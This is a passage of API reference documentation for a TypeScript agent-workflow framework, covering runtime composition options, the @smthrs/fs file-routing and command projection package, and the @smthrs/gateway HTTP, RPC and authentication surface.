  filesystem layers need `FileSystem`, `Path`, an `ArtifactStore`, and the kernel
  `Workspace`; `StepBoundary.layerUnsupported` and
  `WorkspaceSandbox.layerUnsupported` need nothing.

A host without a filesystem therefore composes the runtime from its SQL client,
`Crypto`, a refusing `Jj`, `OwnerIdentity.layerWithoutPid`, and the two
unsupported layers, and a step that declares a file boundary fails its attempt
there instead of running.

### `Options`

`owner`, `isAlive`, `canExecute`, `canActivate`, `requestResume`,
`cacheEnvironment`, `sourceRevision`, `privilegedJj`, `sweep`, and
`resumeConcurrency`. The
[`NodeRuntime` options table](/docs/reference/api/platform-node/#options) describes
each field. `sweep` is `"process"` by default; `{ host: executionId }` is for a
host that drives one execution per invocation and wakes it from outside. It runs
no sweep fiber and renews no lease. The host drives the execution with
`EngineStore.drive`, which the runtime's context provides, and arms its next
invocation from the result; see
[hosted executions](/docs/reference/api/engine-store/#hosted-executions).
`resumeConcurrency`, a positive integer, bounds how many runs the engine resumes
on its own at once, such as the runs a restarted host finds unfinished; a run a
caller starts or awaits never waits for them. Absent is no bound; see
[the resume lane](/docs/reference/api/engine-store/#resume-lane). Invalid
input throws [`RuntimeConfigurationError`](#runtimeconfigurationerror) naming the
field. The native hosts take `NativeRuntime.Options` from
`@smthrs/platform-node`, which adds `filename` and `workspaceRoot`.

### `storage`

```ts
const storage: Layer<Journal | RunStore | AttemptStore | CacheStore | DurableEngineState | DurableWriter, ..., SqlClient>
```

The migrated stores over the injected `SqlClient`, without an engine: the
journal (capacity 1,024, `overflow: "reject"`), `RunStore`, `AttemptStore`,
`CacheStore`, and `DurableEngineState`, with the `DurableWriter` they share.
Every use builds its own instances, so two runtimes over two databases in one
program never share a store.

### `layer` and `make`

```ts
const layer: (
  options: Options,
  stepBoundary: Layer<StepBoundary.Service, E1, R1>,
  workspaceSandbox: Layer<WorkspaceSandbox.Service, E2, R2>,
  registerFlows: Layer<A, E3, R3>,
  registry?: Layer<A4, E4, R4>
) => Layer<..., ..., SqlClient | Crypto | Jj | OwnerIdentity | R1 | R2 | ...>
const make: (/* the same */) => Effect<Context<...>, ..., ... | Scope>
```

Construction is ordered by layer dependency: migrations, then the stores, then
the engine, then `registerFlows`. A persisted run therefore cannot resume
through a composition before its flow has been registered. `make` builds the
context in the caller's scope.

```ts
import { OwnerIdentity, StepBoundary, WorkspaceSandbox } from "@smthrs/engine-store"
import { Runtime } from "@smthrs/flows"
import { Layer } from "effect"

const runtime = Runtime.layer(
  { owner: { hostId: "answer-host" }, isAlive, sweep: { host: executionId } },
  StepBoundary.layerUnsupported,
  WorkspaceSandbox.layerUnsupported,
  registerFlows
).pipe(Layer.provide(OwnerIdentity.layerWithoutPid), Layer.provide(host))
```

### `RuntimeConfigurationError`

```ts
class RuntimeConfigurationError extends Schema.TaggedError("@smthrs/flows/RuntimeConfigurationError")({
  code: "invalid_runtime_configuration"
  field: string
  message: string
})
```

Thrown synchronously by `layer`, `make`, and every host composition over them,
including `NodeRuntime` and `BunRuntime`, for invalid construction input.
`field` names the single option that was wrong, so an embedder can distinguish
an empty `filename` from an empty `owner.hostId` without parsing the message.
Nothing is created before it is thrown: no database is opened and no signal
listener is installed.

### `validate` and `decodeField`

```ts
const validate: (options: Options, label?: string) => Options
const decodeField: <A>(field: string, schema: Schema.Codec<A>, value: unknown, expectation: string, label?: string) => A
```

For a host package that composes the engine itself. `validate` captures
`options` as one frozen record, the same check `layer` runs, and throws
`RuntimeConfigurationError` naming the first option that is wrong. `decodeField`
decodes one option the host adds, such as a database filename, and throws the
same error for that field. `label`, `"Runtime"` by default, leads each message,
so `NativeRuntime` reports `NodeRuntime filename must be a non-empty string`.

### `RegistryArgs` and `registryLayer`

```ts
type RegistryArgs<A, E, R> = [registry: Layer<A, E, R>] | [registry?: undefined]
const registryLayer: <A, E, R>(args: RegistryArgs<A, E, R>) => Layer<A, E, R>
```

The optional trailing registry argument of `layer` and `make`, and the layer it
names. The empty branch type-checks only when all three registry types are
`never`, so a declared registry cannot be dropped by passing type arguments.
`registryLayer` answers an empty layer for an omitted registry. A host that
takes the same trailing argument, such as `NativeRuntime.layerHost`, uses both.

## See also

Each namespace in the table above has its own API reference, reached through the
links there. Depend on
individual `@smthrs` packages rather than this barrel when a smaller dependency
surface is worth the extra imports. The native compositions are in the
[`@smthrs/platform-node`](/docs/reference/api/platform-node/) and
[`@smthrs/platform-bun`](/docs/reference/api/platform-bun/) API references.

---

# @smthrs/fs
https://smithers.sh/docs/reference/api/fs/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/fs/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/fs/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/fs/docs)

> **workspace-private:** `@smthrs/fs` is documented for contributors and is not installable from npm.

> **Related APIs:** [`@smthrs/build-cli`](/docs/reference/api/build-cli/) · [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/registry`](/docs/reference/api/registry/)

The root barrel exposes one namespace per supported module. The same module
is reachable through its named subpath, for example `@smthrs/fs/Command`.

| Namespace     | Responsibility                                                               |
| ------------- | ---------------------------------------------------------------------------- |
| `Command`     | Agent-facing list, parse, execute, and typed exact-call projection.          |
| `CommandTree` | Bounded immutable route trie, longest-prefix lookup, and exact lookup.       |
| `Directive`   | Registry placement literals compiled into core placement annotations.        |
| `FileRouter`  | Metadata-only filesystem discovery with absolute path-derived routes.        |
| `FlowInvoker` | Injected seam that owns actual flow execution.                               |
| `FsError`     | Sanitized stable failure taxonomy for every projection.                      |
| `Incur`       | Lazy schema-aware CLI and HTTP projection.                                   |
| `Route`       | Immutable route metadata, generated manifest types, and lazy module loading. |

The root and the eight named module subpaths are the whole import surface.
`./internal/*` and nested `*/index` subpaths are declared null in the package's
`exports` map, so they do not resolve.

`FileRouter` is discovery. It retains module, Markdown, and skill metadata.
`Command` and `Incur` are execution surfaces and therefore filter to module
routes whose `modelInvocable` flag is true. `Route.load` refuses every other
body kind.

## Example

```ts
import { Command, FileRouter } from "@smthrs/fs"

const program = Effect.gen(function*() {
  const { routes } = yield* FileRouter.scan({ root: ".smithers/flows" })
  const commands = yield* Command.make(routes)
  return yield* commands.execute("review --number 42")
})
```

## Command

Agent-facing projection of executable, model-visible module routes.

### `Command.make`

```ts
;((routes: ReadonlyArray<Route.Route>) => Effect.Effect<CommandSurface, FsError>)
```

Constructs a command surface from routes. Every supplied route is validated
and snapshotted first, so a malformed route fails `make` even when it would
never enter the executable projection. Non-module, hidden, and
non-model-invocable routes remain available from the registry but never enter
this projection. Two routes claiming one command name fail with
`duplicate_route`; oversized trees fail with `resource_limit`.

### `CommandSurface`

The runtime projection `Command.make` returns. The surface, listed commands,
parsed invocations, and admitted JSON values are frozen.

| Member    | Signature                                                                                                             | Behavior                                                                               |
| --------- | --------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- |
| `list`    | `() => ReadonlyArray<ListedCommand>`                                                                                  | Lists executable model-visible routes in stable segment order without loading them.    |
| `parse`   | `(commandString: string) => Effect<ParsedCommand, FsError>`                                                           | Loads the selected module and schema-decodes an agent command string without invoking. |
| `execute` | `(commandString: string) => Effect<unknown, FsError, FlowInvoker.FlowInvoker>`                                        | Parses, invokes through `FlowInvoker`, and output-encodes an agent command string.     |
| `call`    | `<N extends Route.Name>(name: N, input: Route.Input<N>) => Effect<Route.Output<N>, FsError, FlowInvoker.FlowInvoker>` | Validates decoded input and output for an exact named route.                           |

`parse` and `execute` accept a listed name with slashes or with spaces:
`"nested/visible --number 42"` and `"nested visible --number 42"` resolve the
same route. Resolution takes the longest command prefix and leaves the
remainder for arguments.

`call` accepts `Schema.Type` input and returns `Schema.Type` output. It
validates both against the decoded side of the loaded schemas without
running their encoding transformations. With `Schema.NumberFromString`,
`call` accepts and returns numbers; `execute` parses encoded string input
and returns the encoded string output. Incur also encodes its output.

`call` snapshots input admitted by the bounded JSON boundary before any
module-loading await. These snapshots and admitted JSON results are frozen.
Other decoded values, including `Date` instances, retain their native types
and are passed by reference; callers must avoid mutating them during an
invocation. They remain subject to the loaded schema's decoded validation.
A name that does not match exactly, extra path segments included, fails with
`unknown_command`. Invalid decoded input or output fails with `decode_failed`;
transport output encoding failures from `execute` use `encode_failed`.

Errors produced by the surface itself: `resource_limit`, `parse_failed`,
`unknown_command`, `load_failed`, `unsupported_schema`, `decode_failed`, and
`encode_failed`. An `FsError` the installed invoker fails with passes through
unchanged. With no invoker installed, `FlowInvoker.makeNoop` fails every
invocation with `invocation_unavailable`.

### `ListedCommand`

A route advertised to an agent.

| Field         | Type                  | Description                               |
| ------------- | --------------------- | ----------------------------------------- |
| `name`        | `string`              | The slash-joined route name.              |
| `description` | `string \| undefined` | The discovered description, when present. |

### `ParsedCommand`

A decoded command-string invocation.

| Field   | Type                        | Description                                     |
| ------- | --------------------------- | ----------------------------------------------- |
| `route` | `Route.Route`               | The resolved route.                             |
| `argv`  | `ReadonlyArray<string>`     | The lexed command tokens.                       |
| `input` | `A` (defaults to `unknown`) | The decoded, frozen input ready for invocation. |

## CommandTree

The bounded, immutable segment trie shared by every command projection.

### Constants

| Export                    | Value  | Description                                               |
| ------------------------- | ------ | --------------------------------------------------------- |
| `maximumRoutes`           | `256`  | Maximum routes accepted by one tree.                      |
| `maximumTotalSegments`    | `4096` | Maximum total path segments accepted by one tree.         |
| `maximumResolutionTokens` | `4096` | Maximum tokens accepted by one direct resolution request. |

### `CommandTree`

A node of the command trie. A node may carry a route, children, or both:
`domains` and `domains/list` may both be routable in the same tree.

| Field      | Type                               | Description                                     |
| ---------- | ---------------------------------- | ----------------------------------------------- |
| `route`    | `Option.Option<Route.Route>`       | The route ending at this node, when one exists. |
| `children` | `ReadonlyMap<string, CommandTree>` | Child nodes keyed by segment.                   |

### `Resolved`

A route selected from an argv prefix, with the unconsumed tokens.

| Field   | Type                    | Description                                |
| ------- | ----------------------- | ------------------------------------------ |
| `route` | `Route.Route`           | The selected route.                        |
| `rest`  | `ReadonlyArray<string>` | The tokens the route name did not consume. |

### `CommandTree.make`

```ts
;((input: ReadonlyArray<Route.Route>) => Effect.Effect<CommandTree, FsError>)
```

Builds one immutable command trie. Two routes claiming the same segment path
fail with `duplicate_route` instead of shadowing one another. Every route is
detached before the first caller-observable await. The input must be an
ordinary dense array: proxies, sparse arrays, accessors, and exotic
containers fail with `invalid_route` without executing user code. Trees above
`maximumRoutes` routes or `maximumTotalSegments` segments fail with
`resource_limit`.

### `CommandTree.resolve`

```ts
;((tree: CommandTree, input: ReadonlyArray<string>) => Effect.Effect<Resolved, FsError>)
```

Resolves the longest routable prefix of an argv. Lookup tokens are normalized
to Unicode NFC before comparison, so a decomposed spelling selects the same
route as a composed one; unconsumed argument text stays exactly as the caller
supplied it. A request above `maximumResolutionTokens` fails with
`resource_limit`. When no prefix matches, the effect fails with
`unknown_command`.

### `CommandTree.resolveExact`

```ts
;((tree: CommandTree, argv: ReadonlyArray<string>) => Effect.Effect<Route.Route, FsError>)
```

Resolves one complete route name and refuses unconsumed path segments with
`unknown_command`.

### `CommandTree.traverse`

```ts
;((tree: CommandTree) => ReadonlyArray<Route.Route>)
```

Lists every route in stable segment order.

## Directive

Serialized placement literals compiled into core placement annotations.

### `Literal`

```ts
type Literal = "client" | "local" | "sandbox" | "remote"
```

A placement literal produced by registry discovery.

### `Directive.compile`

```ts
;((literal: Literal) => Placement.Placement)
```

Compiles a discovered placement literal into the corresponding
[core](/docs/reference/api/core/) value: `"client"` to `Placement.client()`, `"local"` to
`Placement.local()`, `"sandbox"` to `Placement.sandbox()`, and `"remote"` to
`Placement.remote()`. Registry discovery has already normalized source
directives, `"use server"` included, before this boundary. The returned value
survives JSON serialization unchanged.

## FileRouter

Filesystem routing over metadata-only registry discovery.

### `ScanConfig`

Configuration for one bounded file-router scan.

| Field  | Type     | Description                                   |
| ------ | -------- | --------------------------------------------- |
| `root` | `string` | The flows tree to scan, relative or absolute. |

### `Warning`

A non-fatal diagnostic emitted by registry discovery, aliasing
`Descriptor.DiscoveryWarning` from [@smthrs/registry](/docs/reference/api/registry/).
`@smthrs/fs` copies each warning's `code`, `path`, `name`, and `message` and
drops the registry's optional `cause`.

### `ScanResult`

The immutable metadata-only result of scanning a flows tree. The result and
both arrays are frozen.

| Field      | Type                         | Description                            |
| ---------- | ---------------------------- | -------------------------------------- |
| `routes`   | `ReadonlyArray<Route.Route>` | The discovered routes, sorted by name. |
| `warnings` | `ReadonlyArray<Warning>`     | Non-fatal discovery diagnostics.       |

### `FileRouter.scan`

```ts
;((config: ScanConfig) => Effect.Effect<ScanResult, FsError, FileSystem.FileSystem | Path.Path>)
```

Scans a flows root without importing or evaluating any flow module. The
registry owns entry precedence, metadata parsing, directive detection, and
bounded reads; `@smthrs/fs` projects those descriptors into absolute,
immutable path-derived routes.

The configuration is inspected synchronously, before the first await:
accessors and exotic containers fail with `invalid_root` without being read,
and the root is resolved to an absolute path once for the whole operation.
Root-level entries produce no route. Two source paths collapsing to one
command name fail with `duplicate_route`. A scan returning more than
`CommandTree.maximumRoutes` entries fails with `resource_limit` before any
companion is inspected. Discovery is confined to the root's real path: a
directory or entry whose symbolic link resolves outside the root produces an
`outside_root` warning and no route. A `ui.tsx` beside a flow is recorded on
the route's `ui` field only when its real path stays inside the root;
companions and colocated tests never become routes. A module body
yields kind `module`, a `SKILL.md` body yields kind `skill`, and every other
body yields kind `markdown`.

Requires the `FileSystem.FileSystem` and `Path.Path` services; on Node,
provide `NodeFileSystem.layer` and `NodePath.layer` from
`@effect/platform-node`.

Errors: `invalid_root` when the root or configuration is invalid,
`root_missing` when the root does not exist, `read_failed` when the root or a
companion cannot be read, and `discovery_failed` for every other discovery
failure. Foreign error causes are never retained.

## FlowInvoker

The seam between a resolved route and whatever actually runs a flow. The
projections in this package never execute a flow themselves: the harness owns
the run loop, permissions, and durability, so it supplies this service.

### `Invocation`

One materialized invocation. Projections pass it frozen.

| Field   | Type       | Description                                                     |
| ------- | ---------- | --------------------------------------------------------------- |
| `name`  | `string`   | The resolved route name.                                        |
| `flow`  | `Flow.Any` | The loaded flow, from [@smthrs/core](/docs/reference/api/core/).                |
| `input` | `unknown`  | The decoded input; see `CommandSurface` for snapshot semantics. |

### `FlowInvoker`

```ts
service FlowInvoker {
  invoke(invocation: Invocation): unknown!FsError
}
```

Executes a materialized flow. The VibeLang `service` declaration is both the
service key, `"@smthrs/fs/src/FlowInvoker#FlowInvoker"`, and, as a type, the
implementation's shape.

| Member   | Type                                                          | Description                 |
| -------- | ------------------------------------------------------------- | --------------------------- |
| `invoke` | `(invocation: Invocation) => Effect.Effect<unknown, FsError>` | Runs one materialized flow. |

### `FlowInvoker.make`

```ts
;((implementation: FlowInvoker) => FlowInvoker)
```

Constructs a frozen flow invoker from an implementation. The implementation
must carry `invoke` as an own data-property function; non-records, inherited
or accessor properties, and non-function values throw `TypeError` without
invoking anything.

### `FlowInvoker.makeNoop`

```ts
;((overrides?: Partial<FlowInvoker>) => FlowInvoker)
```

Constructs an invoker that fails every invocation with
`invocation_unavailable`, retaining no invocation data. An `invoke` override
replaces that default; an accessor or non-function override throws
`TypeError`.

### `FlowInvoker.layerNoop`

```ts
;((overrides?: Partial<FlowInvoker>) => Layer.Layer<FlowInvoker>)
```

Provides `makeNoop` as the `FlowInvoker` layer.

## FsError

The single typed error returned by the file-routing surfaces.

### `Code`

```ts
type Code =
  | "root_missing"
  | "read_failed"
  | "invalid_root"
  | "discovery_failed"
  | "parse_failed"
  | "unknown_command"
  | "duplicate_route"
  | "invalid_route"
  | "resource_limit"
  | "load_failed"
  | "unsupported_body"
  | "unsupported_schema"
  | "decode_failed"
  | "encode_failed"
  | "invocation_unavailable"
```

Stable failure codes for routing, parsing, loading, and decoding. For the
meaning and trigger of each code, see the
[error codes table](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/fs/docs/contract.md#error-codes).

### `FsError`

```ts
error FsError {
  code: Code
  method: string
  description: string
  path?: string | undefined
}
```

A VibeLang `error` declaration: a tagged error class whose `_tag` is
`"FsError"`, with readonly fields. A recoverable file-routing failure. `method` names the surface that failed so
a CLI or an agent can report the origin without a stack trace. Raw argv,
input values, output values, schema issues, and implementation causes are
deliberately not retained at this boundary.

## Incur

Incur projection of executable, model-visible module routes, built on the
[`incur`](https://github.com/wevm/incur) CLI library.

### `selfSegment`

```ts
const selfSegment = "self"
```

The reserved child segment that invokes a route which also has children.
Incur cannot represent a node that is both runnable and a command group, so
`domains` alongside `domains/list` is advertised and dispatched as
`domains self` on the CLI and `/domains/self` over HTTP. The bare name keeps
dispatching to the same route.

### `Incur.createCli`

```ts
;((name: string, routes: ReadonlyArray<Route.Route>) => Effect.Effect<IncurCli.Cli, FsError, FlowInvoker.FlowInvoker>)
```

Projects routes onto an Incur CLI while preserving metadata-only discovery.
Routes are validated and filtered exactly as in `Command.make`. A child route
literally named `self` under a route that also has children fails with
`duplicate_route`.

Dispatching one command loads only that command's module. Its actual Effect
input schema is projected into Incur args and options and remains the
authoritative decoder. A discovery surface must publish those descriptors, so
the first discovery request loads every command module once and caches the
result. Discovery requests are: any argv containing `--help`, `-h`, `--llms`,
`--llms-full`, `--schema`, `--version`, or `--mcp`; a truthy `COMPLETE`
environment variable (an empty value is ignored); and the HTTP paths `/mcp`,
`/openapi.json`, `/openapi.yml`, `/openapi.yaml`, and everything under
`/.well-known/`.

The returned CLI overrides two members:

- `serve(argv = process.argv.slice(2), options)` resolves the command tokens
  ahead of the first flag, accepting a slash-joined or spaced first token.
  Only an unmatched name falls back to the metadata surface's help output.
  Every other typed failure is written to `options.stdout` (defaulting to
  `process.stdout`) as a JSON envelope
  `{ "ok": false, "error": { "code", "message" } }`, followed by
  `options.exit(1)` (defaulting to `process.exit`).
- `fetch(request)` resolves the percent-decoded request path the same way and
  honors `request.signal` during dispatch. A malformed percent escape fails
  with status 400 and the `parse_failed` envelope; other pre-dispatch typed
  failures return status 400 with their own envelope.

Once a command dispatches, input that contradicts the advertised schema is
refused before the flow runs, with a field-level error naming the failing
path and no copy of the offending value. Failures raised while decoding,
invoking, or encoding are reported through Incur with the `FsError` code and
exit code 1 on the CLI, and as an error response over HTTP.

## Route

The immutable metadata projection of a discovered flow, and its lazy loader.

### Constants

| Export                   | Value   | Description                                            |
| ------------------------ | ------- | ------------------------------------------------------ |
| `maximumRouteDepth`      | `64`    | Maximum number of path segments in one route.          |
| `maximumSegmentLength`   | `255`   | Maximum UTF-16 length of one route segment.            |
| `maximumRouteNameLength` | `4096`  | Maximum UTF-16 length of one slash-joined route name.  |
| `maximumPathLength`      | `16384` | Maximum UTF-16 length of one source or companion path. |
| `maximumCapabilities`    | `256`   | Maximum number of capabilities declared by one route.  |

### `Kind`

```ts
type Kind = "module" | "markdown" | "skill"
```

How a route's body is stored on disk.

### `Route`

A path-derived command route. Everything here comes from registry discovery,
which never evaluates a flow module. Materializing the flow is `Route.load`.

| Field            | Type                                  | Description                                                       |
| ---------------- | ------------------------------------- | ----------------------------------------------------------------- |
| `name`           | `string`                              | The slash-joined, NFC-normalized route name.                      |
| `segments`       | `ReadonlyArray<string>`               | The NFC-normalized path segments.                                 |
| `kind`           | `Kind`                                | How the body is stored on disk.                                   |
| `sourcePath`     | `string`                              | The absolute path of the flow entry.                              |
| `description`    | `Option.Option<string>`               | The discovered description; `none` when it is empty.              |
| `input`          | `Descriptor.SchemaRef`                | The input schema locator, from [@smthrs/registry](/docs/reference/api/registry/). |
| `output`         | `Descriptor.SchemaRef`                | The output schema locator.                                        |
| `capabilities`   | `ReadonlyArray<string>`               | Declared capabilities.                                            |
| `effects`        | `Descriptor.EffectDeclaration`        | The declared reads, writes, mode, conflict policy, and tier.      |
| `modelInvocable` | `boolean`                             | Whether command surfaces may execute this route.                  |
| `placement`      | `Option.Option<Descriptor.Placement>` | The discovered placement literal, when present.                   |
| `ui`             | `Option.Option<string>`               | The absolute `ui.tsx` companion path, when present.               |

### `Manifest`

```ts
interface Manifest {}
```

Generated applications augment this map with route-specific input and output
types:

```ts
declare module "@smthrs/fs/Route" {
  interface Manifest {
    review: {
      readonly input: { readonly number: number }
      readonly output: { readonly accepted: boolean; readonly number: number }
    }
  }
}
```

Declaration merging intentionally starts from an empty manifest.

### `Name`, `Input`, and `Output`

```ts
type Name = keyof Manifest extends never ? string : Extract<keyof Manifest, string>
type Input<N extends Name> = N extends keyof Manifest ? Manifest[N] extends { readonly input: infer I } ? I : unknown
  : unknown
type Output<N extends Name> = N extends keyof Manifest ? Manifest[N] extends { readonly output: infer O } ? O : unknown
  : unknown
```

`Name` narrows to generated manifest keys when a manifest is available, and
`Input` and `Output` narrow a named route's decoded types (`Schema.Type`)
the same way. They describe `CommandSurface.call`, not the encoded transport
values (`Schema.Encoded`) used by `execute` and Incur.
Without a generated manifest, names stay `string` and values stay `unknown`,
so development discovery can proceed.

### `Route.snapshot`

```ts
;((input: Route) => Effect.Effect<Route, FsError>)
```

Copies and validates caller-owned route metadata before asynchronous use.
Validation enforces: `name` equals the slash-joined segments after Unicode
NFC normalization; segments are non-empty, bounded, and free of `.`, `..`,
and `/`; `kind` is a known `Kind`; `sourcePath` is absolute (a `file:///`
URL, a POSIX root, or a drive-letter path); text fields are bounded,
well-formed, and free of NUL; schema locators carry a known `_tag`;
`effects.mode` is `hermetic` or `expected`; `effects.onConflict` is
`serialize`, `lane`, or `fail`; `effects.tier` is `sealed`, `compensable`, or
`irreversible`; and `placement` is one of the four `Directive.Literal`
values. The result is detached from the caller's containers and frozen.
Every violation fails with `invalid_route`.

### `Route.isCommandRoute`

```ts
;((route: Route) => boolean)
```

True only for routes the agent and Incur command surfaces may execute: kind
`module` with `modelInvocable` set to true.

### `Route.load`

```ts
;((input: Route) => Effect.Effect<Flow.Any, FsError>)
```

Materializes the flow behind a route. The route is snapshotted first. Only
module routes can be materialized here; Markdown and skill bodies are registry
inputs rather than executable commands, and fail with `unsupported_body`. The module is imported through an escaped absolute
file URL, so spaces, Unicode, percent signs, hashes, and query characters in
the path name the intended file. An import failure, or a module whose default
export is not a flow, fails with `load_failed`. A route marked model-invocable
whose imported flow declares `modelInvocable: false` also fails with
`load_failed`, so a route captured before the author hid the flow cannot run
it.

---

# @smthrs/gateway
https://smithers.sh/docs/reference/api/gateway/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/gateway/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/gateway/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/gateway/docs)

> **Related APIs:** [`@smthrs/control`](/docs/reference/api/control/) · [`@smthrs/engine-store`](/docs/reference/api/engine-store/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/registry`](/docs/reference/api/registry/) · [`@smthrs/sync`](/docs/reference/api/sync/)

The gateway requires `effect` at exactly `4.0.5` as its only peer. Node and Bun adapters are bundled privately, built from 4.0.5; hosts need no separate adapter install.

The root entry point exports one namespace per module, and every local module is
also importable from `@smthrs/gateway/<Module>`.

A UI depends on this package and on [`@smthrs/control`](/docs/reference/api/control/). It never
depends on [`@smthrs/engine-store`](/docs/reference/api/engine-store/), and it never reads a
store table: a projection is the contract, and a store row is an implementation
detail. [`smthrs serve`](/docs/reference/cli/serve/) composes the assembly with
`@smthrs/control` and [`@smthrs/sync`](/docs/reference/api/sync/) to host it.

The model behind these signatures is in [Projections](https://github.com/smithersai/smithers/blob/main/packages/smithers/gateway/docs/concepts/projections.md),
[Subscriptions and cursors](https://github.com/smithersai/smithers/blob/main/packages/smithers/gateway/docs/concepts/subscriptions.md), and
[The trust boundary](https://github.com/smithersai/smithers/blob/main/packages/smithers/gateway/docs/concepts/trust-boundary.md).

## Example

```ts
import * as NodeGateway from "@smthrs/gateway/node/NodeGateway"
import * as Projections from "@smthrs/gateway/Projections"
import { Layer } from "effect"

const health = { workspaceHash: "8f4b2c1d", gatewayId: "host-1", protocolVersion: "1", version: "1.0.0-rc.0" }
const gateway = NodeGateway.layer(health, NodeGateway.defaultServerOptions).pipe(Layer.provide(Projections.layer))
```

## `GatewayServer`

The whole HTTP surface as one application layer a host serves.

### Mounts

`GatewayServer.layer` mounts seven base routes, and `NodeGateway.layer` binds
them to a socket. A host that supplies `runtimeBridge` adds three authenticated
JSON routes.

| Path                       | Protocol           | Serves                                                |
| -------------------------- | ------------------ | ----------------------------------------------------- |
| `POST /rpc`                | RPC over HTTP      | `@smthrs/control` `ControlRpcs`                       |
| `/rpc/ws`                  | RPC over WebSocket | `ControlRpcs`, including a kept-alive `Watch`         |
| `POST /projections`        | RPC over HTTP      | `GatewayRpcs`                                         |
| `/projections/ws`          | RPC over WebSocket | `GatewayRpcs`, including `Projection.Subscribe`       |
| `POST /sync`               | RPC over HTTP      | `@smthrs/sync` `SyncRpcs`                             |
| `/sync/ws`                 | RPC over WebSocket | `SyncRpcs`                                            |
| `GET /health`              | JSON               | `GatewayServer.Health`                                |
| `POST /runtime/v1/command` | JSON               | Versioned launch and Control mutations (optional)     |
| `POST /runtime/v1/observe` | JSON               | Bounded journal replay and run projection (optional)  |
| `POST /runtime/v1/monitor` | JSON               | Read-only existing-run monitor and journal (optional) |

### Scoped tokens

A credentialed gateway also accepts a token minted under its credential with
`@smthrs/control` `ScopedToken` (`smthrs token mint`). The edge admits it on
its signature and expiry alone, and only toward `NodeGateway.scopedTokenPaths`
(`/rpc`, `/projections`, their sockets, and `/auth/ticket`); every RPC frame is
then judged in band against the procedures, run, or flow it names, and it
stamps `NodeGateway.scopedPrincipal` (`gateway/scoped`), which no delegation to
`gateway/bearer` covers. Journal sync and the runtime bridge accept the bearer
alone, and a ticket issued against a scoped token opens only what the token
could open.

### Runtime completion

`RuntimeBridge.LifecycleCommand.operation` also accepts `complete` (since
1.0.0). `RuntimeBridge.Config.requestComplete?:
ControlExecutor.Service["requestComplete"]` (since 1.0.0) supplies the host port;
when absent, the bridge uses the installed executor's port. A host without
either refuses completion as unavailable.

### Runtime observation cursors

`POST /runtime/v1/observe` returns `nextCursor`; pass it back unchanged as
`afterCursor` with the same `runId`. An empty cursor consumes no events. A
decimal cursor, such as `"42"`, consumes the whole journal entry. A versioned
cursor, such as `"v1:42:0"`, consumes only members through that zero-based
expansion offset. Both numeric components are canonical nonnegative integers
below `Number.MAX_SAFE_INTEGER`. Existing decimal cursors remain accepted.

`hasMore` indicates another event page; `terminal` independently reports the
run's current lifecycle. Backend failures retain their stable Control code and
retryability without exposing backend message text.

### Runtime monitor

`RuntimeBridge.monitor(control, runId, at?)` reads an existing run through
`Control.list` and its committed journal through `Control.watch` with
`follow: false`. It never launches, resumes, signals, or evaluates a flow.
The authenticated `POST /runtime/v1/monitor` door accepts
`{ protocol: "smithers.flow-runtime/v1", runId, at? }`; `at` is a nonnegative
journal sequence. Its response is `{ protocol, ok: true, value }`, or the
bridge's typed error envelope. Unknown runs return `run_not_found`; bounded
journal and projection overflow return `resource_limit`.

Spend is priced where model calls are metered. A run with journaled model
tokens returns no `cost_usd`; its steps carry `meter`, the
`<execution id>:<step key digest>` dispatches each settled node drove, and the
install prices them from its metered proxy rows. A returned `cost_usd` of zero
therefore only ever means a run with no model tokens.

The current monitor omits the raw journal, which its reader pages from the
`run-events` projection when the journal tab opens, and carries the run's
`extent: { start, end }`. A replay frame (`at`) carries its own journal prefix.

### Types and constants

| Export                       | Signature                                                                                                                         | Meaning                                                                                                         |
| ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `Health`                     | `Schema.Struct` and its type                                                                                                      | What `GET /health` answers: gateway identity, package version, and optional non-secret runtime bridge identity. |
| `LayerOptions`               | `{ heartbeatMillis?; ingress?; runtimeBridge? }`                                                                                  | How an assembled gateway is configured. `runtimeBridge` opts into the versioned Go adapter.                     |
| `IngressOptions`             | `{ maxRequestBodyBytes?: number; loopbackOnly?: boolean; authorize?: (headers, path) => Effect<boolean>; ticketMillis?: number }` | The ingress policy the RPC mounts run behind.                                                                   |
| `Ticket`                     | `Schema.Struct` and its type                                                                                                      | What `POST /auth/ticket` answers: `{ ticket, expiresInMs }`, a single-use key that opens one protected socket.  |
| `ticketPath`                 | `"/auth/ticket"`                                                                                                                  | Exchanges an accepted bearer for a `Ticket`. Served only when `authorize` is set.                               |
| `ticketPaths`                | `ReadonlyArray<string>`                                                                                                           | `["/rpc/ws", "/projections/ws", "/sync/ws"]`: the sockets a ticket opens as `<mount>?ticket=<ticket>`.          |
| `defaultTicketMillis`        | `number`                                                                                                                          | 30,000. How long an unredeemed ticket stays valid.                                                              |
| `rpcPaths`                   | `ReadonlyArray<string>`                                                                                                           | `["/rpc", "/projections", "/sync", "/branch"]`: the `POST` mounts that carry RPC request messages.              |
| `boundedPostPaths`           | `ReadonlyArray<string>`                                                                                                           | RPC mounts plus the three runtime bridge routes; every body is bounded before a handler reads it.               |
| `protectedPaths`             | `ReadonlyArray<string>`                                                                                                           | Projection, sync, WebSocket, and runtime bridge paths that pass edge authentication.                            |
| `defaultMaxRequestBodyBytes` | `number`                                                                                                                          | 1,048,576. The default maximum request body accepted by an RPC mount.                                           |
| `loopbackHostNames`          | `ReadonlyArray<string>`                                                                                                           | `["127.0.0.1", "localhost", "::1"]`: the names that mean this machine only, as a bind address is spelled.       |
| `loopbackHostHeaderNames`    | `ReadonlyArray<string>`                                                                                                           | `["127.0.0.1", "localhost", "[::1]"]`: the same names as a Host header spells them; the default `allowedHosts`. |
